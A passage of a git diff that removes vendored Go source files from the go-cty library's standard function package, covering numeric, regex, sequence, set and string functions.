- }, - Type: function.StaticReturnType(cty.Bool), - Impl: func(args []cty.Value, retType cty.Type) (ret cty.Value, err error) { - return args[0].GreaterThanOrEqualTo(args[1]), nil - }, -}) - -var LessThanFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "a", - Type: cty.Number, - AllowDynamicType: true, - AllowMarked: true, - }, - { - Name: "b", - Type: cty.Number, - AllowDynamicType: true, - AllowMarked: true, - }, - }, - Type: function.StaticReturnType(cty.Bool), - Impl: func(args []cty.Value, retType cty.Type) (ret cty.Value, err error) { - return args[0].LessThan(args[1]), nil - }, -}) - -var LessThanOrEqualToFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "a", - Type: cty.Number, - AllowDynamicType: true, - AllowMarked: true, - }, - { - Name: "b", - Type: cty.Number, - AllowDynamicType: true, - AllowMarked: true, - }, - }, - Type: function.StaticReturnType(cty.Bool), - Impl: func(args []cty.Value, retType cty.Type) (ret cty.Value, err error) { - return args[0].LessThanOrEqualTo(args[1]), nil - }, -}) - -var NegateFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "num", - Type: cty.Number, - AllowDynamicType: true, - AllowMarked: true, - }, - }, - Type: function.StaticReturnType(cty.Number), - Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) { - return args[0].Negate(), nil - }, -}) - -var MinFunc = function.New(&function.Spec{ - Params: []function.Parameter{}, - VarParam: &function.Parameter{ - Name: "numbers", - Type: cty.Number, - AllowDynamicType: true, - }, - Type: function.StaticReturnType(cty.Number), - Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) { - if len(args) == 0 { - return cty.NilVal, fmt.Errorf("must pass at least one number") - } - - min := cty.PositiveInfinity - for _, num := range args { - if num.LessThan(min).True() { - min = num - } - } - - return min, nil - }, -}) - -var MaxFunc = function.New(&function.Spec{ - Params: []function.Parameter{}, - VarParam: &function.Parameter{ - Name: "numbers", - Type: cty.Number, - AllowDynamicType: true, - }, - Type: function.StaticReturnType(cty.Number), - Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) { - if len(args) == 0 { - return cty.NilVal, fmt.Errorf("must pass at least one number") - } - - max := cty.NegativeInfinity - for _, num := range args { - if num.GreaterThan(max).True() { - max = num - } - } - - return max, nil - }, -}) - -var IntFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "num", - Type: cty.Number, - AllowDynamicType: true, - }, - }, - Type: function.StaticReturnType(cty.Number), - Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) { - bf := args[0].AsBigFloat() - if bf.IsInt() { - return args[0], nil - } - bi, _ := bf.Int(nil) - bf = (&big.Float{}).SetInt(bi) - return cty.NumberVal(bf), nil - }, -}) - -// CeilFunc is a function that returns the closest whole number greater -// than or equal to the given value. -var CeilFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "num", - Type: cty.Number, - }, - }, - Type: function.StaticReturnType(cty.Number), - Impl: func(args []cty.Value, retType cty.Type) (ret cty.Value, err error) { - var val float64 - if err := gocty.FromCtyValue(args[0], &val); err != nil { - return cty.UnknownVal(cty.String), err - } - if math.IsInf(val, 0) { - return cty.NumberFloatVal(val), nil - } - return cty.NumberIntVal(int64(math.Ceil(val))), nil - }, -}) - -// FloorFunc is a function that returns the closest whole number lesser -// than or equal to the given value. -var FloorFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "num", - Type: cty.Number, - }, - }, - Type: function.StaticReturnType(cty.Number), - Impl: func(args []cty.Value, retType cty.Type) (ret cty.Value, err error) { - var val float64 - if err := gocty.FromCtyValue(args[0], &val); err != nil { - return cty.UnknownVal(cty.String), err - } - if math.IsInf(val, 0) { - return cty.NumberFloatVal(val), nil - } - return cty.NumberIntVal(int64(math.Floor(val))), nil - }, -}) - -// LogFunc is a function that returns the logarithm of a given number in a given base. -var LogFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "num", - Type: cty.Number, - }, - { - Name: "base", - Type: cty.Number, - }, - }, - Type: function.StaticReturnType(cty.Number), - Impl: func(args []cty.Value, retType cty.Type) (ret cty.Value, err error) { - var num float64 - if err := gocty.FromCtyValue(args[0], &num); err != nil { - return cty.UnknownVal(cty.String), err - } - - var base float64 - if err := gocty.FromCtyValue(args[1], &base); err != nil { - return cty.UnknownVal(cty.String), err - } - - return cty.NumberFloatVal(math.Log(num) / math.Log(base)), nil - }, -}) - -// PowFunc is a function that returns the logarithm of a given number in a given base. -var PowFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "num", - Type: cty.Number, - }, - { - Name: "power", - Type: cty.Number, - }, - }, - Type: function.StaticReturnType(cty.Number), - Impl: func(args []cty.Value, retType cty.Type) (ret cty.Value, err error) { - var num float64 - if err := gocty.FromCtyValue(args[0], &num); err != nil { - return cty.UnknownVal(cty.String), err - } - - var power float64 - if err := gocty.FromCtyValue(args[1], &power); err != nil { - return cty.UnknownVal(cty.String), err - } - - return cty.NumberFloatVal(math.Pow(num, power)), nil - }, -}) - -// SignumFunc is a function that determines the sign of a number, returning a -// number between -1 and 1 to represent the sign.. -var SignumFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "num", - Type: cty.Number, - }, - }, - Type: function.StaticReturnType(cty.Number), - Impl: func(args []cty.Value, retType cty.Type) (ret cty.Value, err error) { - var num int - if err := gocty.FromCtyValue(args[0], &num); err != nil { - return cty.UnknownVal(cty.String), err - } - switch { - case num < 0: - return cty.NumberIntVal(-1), nil - case num > 0: - return cty.NumberIntVal(+1), nil - default: - return cty.NumberIntVal(0), nil - } - }, -}) - -// ParseIntFunc is a function that parses a string argument and returns an integer of the specified base. -var ParseIntFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "number", - Type: cty.DynamicPseudoType, - }, - { - Name: "base", - Type: cty.Number, - }, - }, - - Type: func(args []cty.Value) (cty.Type, error) { - if !args[0].Type().Equals(cty.String) { - return cty.Number, function.NewArgErrorf(0, "first argument must be a string, not %s", args[0].Type().FriendlyName()) - } - return cty.Number, nil - }, - - Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) { - var numstr string - var base int - var err error - - if err = gocty.FromCtyValue(args[0], &numstr); err != nil { - return cty.UnknownVal(cty.String), function.NewArgError(0, err) - } - - if err = gocty.FromCtyValue(args[1], &base); err != nil { - return cty.UnknownVal(cty.Number), function.NewArgError(1, err) - } - - if base < 2 || base > 62 { - return cty.UnknownVal(cty.Number), function.NewArgErrorf( - 1, - "base must be a whole number between 2 and 62 inclusive", - ) - } - - num, ok := (&big.Int{}).SetString(numstr, base) - if !ok { - return cty.UnknownVal(cty.Number), function.NewArgErrorf( - 0, - "cannot parse %q as a base %d integer", - numstr, - base, - ) - } - - parsedNum := cty.NumberVal((&big.Float{}).SetInt(num)) - - return parsedNum, nil - }, -}) - -// Absolute returns the magnitude of the given number, without its sign. -// That is, it turns negative values into positive values. -func Absolute(num cty.Value) (cty.Value, error) { - return AbsoluteFunc.Call([]cty.Value{num}) -} - -// Add returns the sum of the two given numbers. -func Add(a cty.Value, b cty.Value) (cty.Value, error) { - return AddFunc.Call([]cty.Value{a, b}) -} - -// Subtract returns the difference between the two given numbers. -func Subtract(a cty.Value, b cty.Value) (cty.Value, error) { - return SubtractFunc.Call([]cty.Value{a, b}) -} - -// Multiply returns the product of the two given numbers. -func Multiply(a cty.Value, b cty.Value) (cty.Value, error) { - return MultiplyFunc.Call([]cty.Value{a, b}) -} - -// Divide returns a divided by b, where both a and b are numbers. -func Divide(a cty.Value, b cty.Value) (cty.Value, error) { - return DivideFunc.Call([]cty.Value{a, b}) -} - -// Negate returns the given number multipled by -1. -func Negate(num cty.Value) (cty.Value, error) { - return NegateFunc.Call([]cty.Value{num}) -} - -// LessThan returns true if a is less than b. -func LessThan(a cty.Value, b cty.Value) (cty.Value, error) { - return LessThanFunc.Call([]cty.Value{a, b}) -} - -// LessThanOrEqualTo returns true if a is less than b. -func LessThanOrEqualTo(a cty.Value, b cty.Value) (cty.Value, error) { - return LessThanOrEqualToFunc.Call([]cty.Value{a, b}) -} - -// GreaterThan returns true if a is less than b. -func GreaterThan(a cty.Value, b cty.Value) (cty.Value, error) { - return GreaterThanFunc.Call([]cty.Value{a, b}) -} - -// GreaterThanOrEqualTo returns true if a is less than b. -func GreaterThanOrEqualTo(a cty.Value, b cty.Value) (cty.Value, error) { - return GreaterThanOrEqualToFunc.Call([]cty.Value{a, b}) -} - -// Modulo returns the remainder of a divided by b under integer division, -// where both a and b are numbers. -func Modulo(a cty.Value, b cty.Value) (cty.Value, error) { - return ModuloFunc.Call([]cty.Value{a, b}) -} - -// Min returns the minimum number from the given numbers. -func Min(numbers ...cty.Value) (cty.Value, error) { - return MinFunc.Call(numbers) -} - -// Max returns the maximum number from the given numbers. -func Max(numbers ...cty.Value) (cty.Value, error) { - return MaxFunc.Call(numbers) -} - -// Int removes the fractional component of the given number returning an -// integer representing the whole number component, rounding towards zero. -// For example, -1.5 becomes -1. -// -// If an infinity is passed to Int, an error is returned. -func Int(num cty.Value) (cty.Value, error) { - if num == cty.PositiveInfinity || num == cty.NegativeInfinity { - return cty.NilVal, fmt.Errorf("can't truncate infinity to an integer") - } - return IntFunc.Call([]cty.Value{num}) -} - -// Ceil returns the closest whole number greater than or equal to the given value. -func Ceil(num cty.Value) (cty.Value, error) { - return CeilFunc.Call([]cty.Value{num}) -} - -// Floor returns the closest whole number lesser than or equal to the given value. -func Floor(num cty.Value) (cty.Value, error) { - return FloorFunc.Call([]cty.Value{num}) -} - -// Log returns returns the logarithm of a given number in a given base. -func Log(num, base cty.Value) (cty.Value, error) { - return LogFunc.Call([]cty.Value{num, base}) -} - -// Pow returns the logarithm of a given number in a given base. -func Pow(num, power cty.Value) (cty.Value, error) { - return PowFunc.Call([]cty.Value{num, power}) -} - -// Signum determines the sign of a number, returning a number between -1 and -// 1 to represent the sign. -func Signum(num cty.Value) (cty.Value, error) { - return SignumFunc.Call([]cty.Value{num}) -} - -// ParseInt parses a string argument and returns an integer of the specified base. -func ParseInt(num cty.Value, base cty.Value) (cty.Value, error) { - return ParseIntFunc.Call([]cty.Value{num, base}) -} diff --git a/vendor/github.com/zclconf/go-cty/cty/function/stdlib/regexp.go b/vendor/github.com/zclconf/go-cty/cty/function/stdlib/regexp.go deleted file mode 100644 index 2dd6348a2c..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/function/stdlib/regexp.go +++ /dev/null @@ -1,233 +0,0 @@ -package stdlib - -import ( - "fmt" - "regexp" - resyntax "regexp/syntax" - - "github.com/zclconf/go-cty/cty" - "github.com/zclconf/go-cty/cty/function" -) - -var RegexFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "pattern", - Type: cty.String, - }, - { - Name: "string", - Type: cty.String, - }, - }, - Type: func(args []cty.Value) (cty.Type, error) { - if !args[0].IsKnown() { - // We can't predict our type without seeing our pattern - return cty.DynamicPseudoType, nil - } - - retTy, err := regexPatternResultType(args[0].AsString()) - if err != nil { - err = function.NewArgError(0, err) - } - return retTy, err - }, - Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) { - if retType == cty.DynamicPseudoType { - return cty.DynamicVal, nil - } - - re, err := regexp.Compile(args[0].AsString()) - if err != nil { - // Should never happen, since we checked this in the Type function above. - return cty.NilVal, function.NewArgErrorf(0, "error parsing pattern: %s", err) - } - str := args[1].AsString() - - captureIdxs := re.FindStringSubmatchIndex(str) - if captureIdxs == nil { - return cty.NilVal, fmt.Errorf("pattern did not match any part of the given string") - } - - return regexPatternResult(re, str, captureIdxs, retType), nil - }, -}) - -var RegexAllFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "pattern", - Type: cty.String, - }, - { - Name: "string", - Type: cty.String, - }, - }, - Type: func(args []cty.Value) (cty.Type, error) { - if !args[0].IsKnown() { - // We can't predict our type without seeing our pattern, - // but we do know it'll always be a list of something. - return cty.List(cty.DynamicPseudoType), nil - } - - retTy, err := regexPatternResultType(args[0].AsString()) - if err != nil { - err = function.NewArgError(0, err) - } - return cty.List(retTy), err - }, - Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) { - ety := retType.ElementType() - if ety == cty.DynamicPseudoType { - return cty.DynamicVal, nil - } - - re, err := regexp.Compile(args[0].AsString()) - if err != nil { - // Should never happen, since we checked this in the Type function above. - return cty.NilVal, function.NewArgErrorf(0, "error parsing pattern: %s", err) - } - str := args[1].AsString() - - captureIdxsEach := re.FindAllStringSubmatchIndex(str, -1) - if len(captureIdxsEach) == 0 { - return cty.ListValEmpty(ety), nil - } - - elems := make([]cty.Value, len(captureIdxsEach)) - for i, captureIdxs := range captureIdxsEach { - elems[i] = regexPatternResult(re, str, captureIdxs, ety) - } - return cty.ListVal(elems), nil - }, -}) - -// Regex is a function that extracts one or more substrings from a given -// string by applying a regular expression pattern, describing the first -// match. -// -// The return type depends on the composition of the capture groups (if any) -// in the pattern: -// -// - If there are no capture groups at all, the result is a single string -// representing the entire matched pattern. -// - If all of the capture groups are named, the result is an object whose -// keys are the named groups and whose values are their sub-matches, or -// null if a particular sub-group was inside another group that didn't -// match. -// - If none of the capture groups are named, the result is a tuple whose -// elements are the sub-groups in order and whose values are their -// sub-matches, or null if a particular sub-group was inside another group -// that didn't match. -// - It is invalid to use both named and un-named capture groups together in -// the same pattern. -// -// If the pattern doesn't match, this function returns an error. To test for -// a match, call RegexAll and check if the length of the result is greater -// than zero. -func Regex(pattern, str cty.Value) (cty.Value, error) { - return RegexFunc.Call([]cty.Value{pattern, str}) -} - -// RegexAll is similar to Regex but it finds all of the non-overlapping matches -// in the given string and returns a list of them. -// -// The result type is always a list, whose element type is deduced from the -// pattern in the same way as the return type for Regex is decided. -// -// If the pattern doesn't match at all, this function returns an empty list. -func RegexAll(pattern, str cty.Value) (cty.Value, error) { - return RegexAllFunc.Call([]cty.Value{pattern, str}) -} - -// regexPatternResultType parses the given regular expression pattern and -// returns the structural type that would be returned to represent its -// capture groups. -// -// Returns an error if parsing fails or if the pattern uses a mixture of -// named and unnamed capture groups, which is not permitted. -func regexPatternResultType(pattern string) (cty.Type, error) { - re, rawErr := regexp.Compile(pattern) - switch err := rawErr.(type) { - case *resyntax.Error: - return cty.NilType, fmt.Errorf("invalid regexp pattern: %s in %s", err.Code, err.Expr) - case error: - // Should never happen, since all regexp compile errors should - // be resyntax.Error, but just in case... - return cty.NilType, fmt.Errorf("error parsing pattern: %s", err) - } - - allNames := re.SubexpNames()[1:] - var names []string - unnamed := 0 - for _, name := range allNames { - if name == "" { - unnamed++ - } else { - if names == nil { - names = make([]string, 0, len(allNames)) - } - names = append(names, name) - } - } - switch { - case unnamed == 0 && len(names) == 0: - // If there are no capture groups at all then we'll return just a - // single string for the whole match. - return cty.String, nil - case unnamed > 0 && len(names) > 0: - return cty.NilType, fmt.Errorf("invalid regexp pattern: cannot mix both named and unnamed capture groups") - case unnamed > 0: - // For unnamed captures, we return a tuple of them all in order. - etys := make([]cty.Type, unnamed) - for i := range etys { - etys[i] = cty.String - } - return cty.Tuple(etys), nil - default: - // For named captures, we return an object using the capture names - // as keys. - atys := make(map[string]cty.Type, len(names)) - for _, name := range names { - atys[name] = cty.String - } - return cty.Object(atys), nil - } -} - -func regexPatternResult(re *regexp.Regexp, str string, captureIdxs []int, retType cty.Type) cty.Value { - switch { - case retType == cty.String: - start, end := captureIdxs[0], captureIdxs[1] - return cty.StringVal(str[start:end]) - case retType.IsTupleType(): - captureIdxs = captureIdxs[2:] // index 0 is the whole pattern span, which we ignore by skipping one pair - vals := make([]cty.Value, len(captureIdxs)/2) - for i := range vals { - start, end := captureIdxs[i*2], captureIdxs[i*2+1] - if start < 0 || end < 0 { - vals[i] = cty.NullVal(cty.String) // Did not match anything because containing group didn't match - continue - } - vals[i] = cty.StringVal(str[start:end]) - } - return cty.TupleVal(vals) - case retType.IsObjectType(): - captureIdxs = captureIdxs[2:] // index 0 is the whole pattern span, which we ignore by skipping one pair - vals := make(map[string]cty.Value, len(captureIdxs)/2) - names := re.SubexpNames()[1:] - for i, name := range names { - start, end := captureIdxs[i*2], captureIdxs[i*2+1] - if start < 0 || end < 0 { - vals[name] = cty.NullVal(cty.String) // Did not match anything because containing group didn't match - continue - } - vals[name] = cty.StringVal(str[start:end]) - } - return cty.ObjectVal(vals) - default: - // Should never happen - panic(fmt.Sprintf("invalid return type %#v", retType)) - } -} diff --git a/vendor/github.com/zclconf/go-cty/cty/function/stdlib/sequence.go b/vendor/github.com/zclconf/go-cty/cty/function/stdlib/sequence.go deleted file mode 100644 index d3cc341dda..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/function/stdlib/sequence.go +++ /dev/null @@ -1,218 +0,0 @@ -package stdlib - -import ( - "fmt" - - "github.com/zclconf/go-cty/cty" - "github.com/zclconf/go-cty/cty/convert" - "github.com/zclconf/go-cty/cty/function" -) - -var ConcatFunc = function.New(&function.Spec{ - Params: []function.Parameter{}, - VarParam: &function.Parameter{ - Name: "seqs", - Type: cty.DynamicPseudoType, - }, - Type: func(args []cty.Value) (ret cty.Type, err error) { - if len(args) == 0 { - return cty.NilType, fmt.Errorf("at least one argument is required") - } - - if args[0].Type().IsListType() { - // Possibly we're going to return a list, if all of our other - // args are also lists and we can find a common element type. - tys := make([]cty.Type, len(args)) - for i, val := range args { - ty := val.Type() - if !ty.IsListType() { - tys = nil - break - } - tys[i] = ty - } - - if tys != nil { - commonType, _ := convert.UnifyUnsafe(tys) - if commonType != cty.NilType { - return commonType, nil - } - } - } - - etys := make([]cty.Type, 0, len(args)) - for i, val := range args { - ety := val.Type() - switch { - case ety.IsTupleType(): - etys = append(etys, ety.TupleElementTypes()...) - case ety.IsListType(): - if !val.IsKnown() { - // We need to know the list to count its elements to - // build our tuple type, so any concat of an unknown - // list can't be typed yet. - return cty.DynamicPseudoType, nil - } - - l := val.LengthInt() - subEty := ety.ElementType() - for j := 0; j < l; j++ { - etys = append(etys, subEty) - } - default: - return cty.NilType, function.NewArgErrorf( - i, "all arguments must be lists or tuples; got %s", - ety.FriendlyName(), - ) - } - } - return cty.Tuple(etys), nil - }, - Impl: func(args []cty.Value, retType cty.Type) (ret cty.Value, err error) { - switch { - case retType.IsListType(): - // If retType is a list type then we know that all of the - // given values will be lists and that they will either be of - // retType or of something we can convert to retType. - vals := make([]cty.Value, 0, len(args)) - for i, list := range args { - list, err = convert.Convert(list, retType) - if err != nil { - // Conversion might fail because we used UnifyUnsafe - // to choose our return type. - return cty.NilVal, function.NewArgError(i, err) - } - - it := list.ElementIterator() - for it.Next() { - _, v := it.Element() - vals = append(vals, v) - } - } - if len(vals) == 0 { - return cty.ListValEmpty(retType.ElementType()), nil - } - - return cty.ListVal(vals), nil - case retType.IsTupleType(): - // If retType is a tuple type then we could have a mixture of - // lists and tuples but we know they all have known values - // (because our params don't AllowUnknown) and we know that - // concatenating them all together will produce a tuple of - // retType because of the work we did in the Type function above. - vals := make([]cty.Value, 0, len(args)) - - for _, seq := range args { - // Both lists and tuples support ElementIterator, so this is easy. - it := seq.ElementIterator() - for it.Next() { - _, v := it.Element() - vals = append(vals, v) - } - } - - return cty.TupleVal(vals), nil - default: - // should never happen if Type is working correctly above - panic("unsupported return type") - } - }, -}) - -var RangeFunc = function.New(&function.Spec{ - VarParam: &function.Parameter{ - Name: "params", - Type: cty.Number, - }, - Type: function.StaticReturnType(cty.List(cty.Number)), - Impl: func(args []cty.Value, retType cty.Type) (ret cty.Value, err error) { - var start, end, step cty.Value - switch len(args) { - case 1: - if args[0].LessThan(cty.Zero).True() { - start, end, step = cty.Zero, args[0], cty.NumberIntVal(-1) - } else { - start, end, step = cty.Zero, args[0], cty.NumberIntVal(1) - } - case 2: - if args[1].LessThan(args[0]).True() { - start, end, step = args[0], args[1], cty.NumberIntVal(-1) - } else { - start, end, step = args[0], args[1], cty.NumberIntVal(1) - } - case 3: - start, end, step = args[0], args[1], args[2] - default: - return cty.NilVal, fmt.Errorf("must have one, two, or three arguments") - } - - var vals []cty.Value - - if step == cty.Zero { - return cty.NilVal, function.NewArgErrorf(2, "step must not be zero") - } - down := step.LessThan(cty.Zero).True() - - if down { - if end.GreaterThan(start).True() { - return cty.NilVal, function.NewArgErrorf(1, "end must be less than start when step is negative") - } - } else { - if end.LessThan(start).True() { - return cty.NilVal, function.NewArgErrorf(1, "end must be greater than start when step is positive") - } - } - - num := start - for { - if down { - if num.LessThanOrEqualTo(end).True() { - break - } - } else { - if num.GreaterThanOrEqualTo(end).True() { - break - } - } - if len(vals) >= 1024 { - // Artificial limit to prevent bad arguments from consuming huge amounts of memory - return cty.NilVal, fmt.Errorf("more than 1024 values were generated; either decrease the difference between start and end or use a smaller step") - } - vals = append(vals, num) - num = num.Add(step) - } - if len(vals) == 0 { - return cty.ListValEmpty(cty.Number), nil - } - return cty.ListVal(vals), nil - }, -}) - -// Concat takes one or more sequences (lists or tuples) and returns the single -// sequence that results from concatenating them together in order. -// -// If all of the given sequences are lists of the same element type then the -// result is a list of that type. Otherwise, the result is a of a tuple type -// constructed from the given sequence types. -func Concat(seqs ...cty.Value) (cty.Value, error) { - return ConcatFunc.Call(seqs) -} - -// Range creates a list of numbers by starting from the given starting value, -// then adding the given step value until the result is greater than or -// equal to the given stopping value. Each intermediate result becomes an -// element in the resulting list. -// -// When all three parameters are set, the order is (start, end, step). If -// only two parameters are set, they are the start and end respectively and -// step defaults to 1. If only one argument is set, it gives the end value -// with start defaulting to 0 and step defaulting to 1. -// -// Because the resulting list must be fully buffered in memory, there is an -// artificial cap of 1024 elements, after which this function will return -// an error to avoid consuming unbounded amounts of memory. The Range function -// is primarily intended for creating small lists of indices to iterate over, -// so there should be no reason to generate huge lists with it. -func Range(params ...cty.Value) (cty.Value, error) { - return RangeFunc.Call(params) -} diff --git a/vendor/github.com/zclconf/go-cty/cty/function/stdlib/set.go b/vendor/github.com/zclconf/go-cty/cty/function/stdlib/set.go deleted file mode 100644 index 37eab999a9..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/function/stdlib/set.go +++ /dev/null @@ -1,210 +0,0 @@ -package stdlib - -import ( - "fmt" - - "github.com/zclconf/go-cty/cty/convert" - - "github.com/zclconf/go-cty/cty" - "github.com/zclconf/go-cty/cty/function" -) - -var SetHasElementFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "set", - Type: cty.Set(cty.DynamicPseudoType), - AllowDynamicType: true, - }, - { - Name: "elem", - Type: cty.DynamicPseudoType, - AllowDynamicType: true, - }, - }, - Type: function.StaticReturnType(cty.Bool), - Impl: func(args []cty.Value, retType cty.Type) (ret cty.Value, err error) { - return args[0].HasElement(args[1]), nil - }, -}) - -var SetUnionFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "first_set", - Type: cty.Set(cty.DynamicPseudoType), - AllowDynamicType: true, - }, - }, - VarParam: &function.Parameter{ - Name: "other_sets", - Type: cty.Set(cty.DynamicPseudoType), - AllowDynamicType: true, - }, - Type: setOperationReturnType, - Impl: setOperationImpl(func(s1, s2 cty.ValueSet) cty.ValueSet { - return s1.Union(s2) - }), -}) - -var SetIntersectionFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "first_set", - Type: cty.Set(cty.DynamicPseudoType), - AllowDynamicType: true, - }, - }, - VarParam: &function.Parameter{ - Name: "other_sets", - Type: cty.Set(cty.DynamicPseudoType), - AllowDynamicType: true, - }, - Type: setOperationReturnType, - Impl: setOperationImpl(func(s1, s2 cty.ValueSet) cty.ValueSet { - return s1.Intersection(s2) - }), -}) - -var SetSubtractFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "a", - Type: cty.Set(cty.DynamicPseudoType), - AllowDynamicType: true, - }, - { - Name: "b", - Type: cty.Set(cty.DynamicPseudoType), - AllowDynamicType: true, - }, - }, - Type: setOperationReturnType, - Impl: setOperationImpl(func(s1, s2 cty.ValueSet) cty.ValueSet { - return s1.Subtract(s2) - }), -}) - -var SetSymmetricDifferenceFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "first_set", - Type: cty.Set(cty.DynamicPseudoType), - AllowDynamicType: true, - }, - }, - VarParam: &function.Parameter{ - Name: "other_sets", - Type: cty.Set(cty.DynamicPseudoType), - AllowDynamicType: true, - }, - Type: setOperationReturnType, - Impl: setOperationImpl(func(s1, s2 cty.ValueSet) cty.ValueSet { - return s1.Subtract(s2) - }), -}) - -// SetHasElement determines whether the given set contains the given value as an -// element. -func SetHasElement(set cty.Value, elem cty.Value) (cty.Value, error) { - return SetHasElementFunc.Call([]cty.Value{set, elem}) -} - -// SetUnion returns a new set containing all of the elements from the given -// sets, which must have element types that can all be converted to some -// common type using the standard type unification rules. If conversion -// is not possible, an error is returned. -// -// The union operation is performed after type conversion, which may result -// in some previously-distinct values being conflated. -// -// At least one set must be provided. -func SetUnion(sets ...cty.Value) (cty.Value, error) { - return SetUnionFunc.Call(sets) -} - -// Intersection returns a new set containing the elements that exist -// in all of the given sets, which must have element types that can all be -// converted to some common type using the standard type unification rules. -// If conversion is not possible, an error is returned. -// -// The intersection operation is performed after type conversion, which may -// result in some previously-distinct values being conflated. -// -// At least one set must be provided. -func SetIntersection(sets ...cty.Value) (cty.Value, error) { - return SetIntersectionFunc.Call(sets) -} - -// SetSubtract returns a new set containing the elements from the -// first set that are not present in the second set. The sets must have -// element types that can both be converted to some common type using the -// standard type unification rules. If conversion is not possible, an error -// is returned. -// -// The subtract operation is performed after type conversion, which may -// result in some previously-distinct values being conflated. -func SetSubtract(a, b cty.Value) (cty.Value, error) { - return SetSubtractFunc.Call([]cty.Value{a, b}) -} - -// SetSymmetricDifference returns a new set containing elements that appear -// in any of the given sets but not multiple. The sets must have -// element types that can all be converted to some common type using the -// standard type unification rules. If conversion is not possible, an error -// is returned. -// -// The difference operation is performed after type conversion, which may -// result in some previously-distinct values being conflated. -func SetSymmetricDifference(sets ...cty.Value) (cty.Value, error) { - return SetSymmetricDifferenceFunc.Call(sets) -} - -func setOperationReturnType(args []cty.Value) (ret cty.Type, err error) { - var etys []cty.Type - for _, arg := range args { - ty := arg.Type().ElementType() - - // Do not unify types for empty dynamic pseudo typed collections. These - // will always convert to any other concrete type. - if arg.IsKnown() && arg.LengthInt() == 0 && ty.Equals(cty.DynamicPseudoType) { - continue - } - - etys = append(etys, ty) - } - - // If all element types were skipped (due to being empty dynamic collections), - // the return type should also be a set of dynamic pseudo type. - if len(etys) == 0 { - return cty.Set(cty.DynamicPseudoType), nil - } - - newEty, _ := convert.UnifyUnsafe(etys) - if newEty == cty.NilType { - return cty.NilType, fmt.Errorf("given sets must all have compatible element types") - } - return cty.Set(newEty), nil -} - -func setOperationImpl(f func(s1, s2 cty.ValueSet) cty.ValueSet) function.ImplFunc { - return func(args []cty.Value, retType cty.Type) (ret cty.Value, err error) { - first := args[0] - first, err = convert.Convert(first, retType) - if err != nil { - return cty.NilVal, function.NewArgError(0, err) - } - - set := first.AsValueSet() - for i, arg := range args[1:] { - arg, err := convert.Convert(arg, retType) - if err != nil { - return cty.NilVal, function.NewArgError(i+1, err) - } - - argSet := arg.AsValueSet() - set = f(set, argSet) - } - return cty.SetValFromValueSet(set), nil - } -} diff --git a/vendor/github.com/zclconf/go-cty/cty/function/stdlib/string.go b/vendor/github.com/zclconf/go-cty/cty/function/stdlib/string.go deleted file mode 100644 index 01ebc47fd5..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/function/stdlib/string.go +++ /dev/null @@ -1,547 +0,0 @@ -package stdlib - -import ( - "fmt" - "regexp" - "sort" - "strings" - - "github.com/apparentlymart/go-textseg/v12/textseg" - - "github.com/zclconf/go-cty/cty" - "github.com/zclconf/go-cty/cty/function" - "github.com/zclconf/go-cty/cty/gocty" -) - -var UpperFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "str", - Type: cty.String, - AllowDynamicType: true, - }, - }, - Type: function.StaticReturnType(cty.String), - Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) { - in := args[0].AsString() - out := strings.ToUpper(in) - return cty.StringVal(out), nil - }, -}) - -var LowerFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "str", - Type: cty.String, - AllowDynamicType: true, - }, - }, - Type: function.StaticReturnType(cty.String), - Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) { - in := args[0].AsString() - out := strings.ToLower(in) - return cty.StringVal(out), nil - }, -}) - -var ReverseFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "str", - Type: cty.String, - AllowDynamicType: true, - }, - }, - Type: function.StaticReturnType(cty.String), - Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) { - in := []byte(args[0].AsString()) - out := make([]byte, len(in)) - pos := len(out) - - inB := []byte(in) - for i := 0; i < len(in); { - d, _, _ := textseg.ScanGraphemeClusters(inB[i:], true) - cluster := in[i : i+d] - pos -= len(cluster) - copy(out[pos:], cluster) - i += d - } - - return cty.StringVal(string(out)), nil - }, -}) - -var StrlenFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "str", - Type: cty.String, - AllowDynamicType: true, - }, - }, - Type: function.StaticReturnType(cty.Number), - Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) { - in := args[0].AsString() - l := 0 - - inB := []byte(in) - for i := 0; i < len(in); { - d, _, _ := textseg.ScanGraphemeClusters(inB[i:], true) - l++ - i += d - } - - return cty.NumberIntVal(int64(l)), nil - }, -}) - -var SubstrFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "str", - Type: cty.String, - AllowDynamicType: true, - }, - { - Name: "offset", - Type: cty.Number, - AllowDynamicType: true, - }, - { - Name: "length", - Type: cty.Number, - 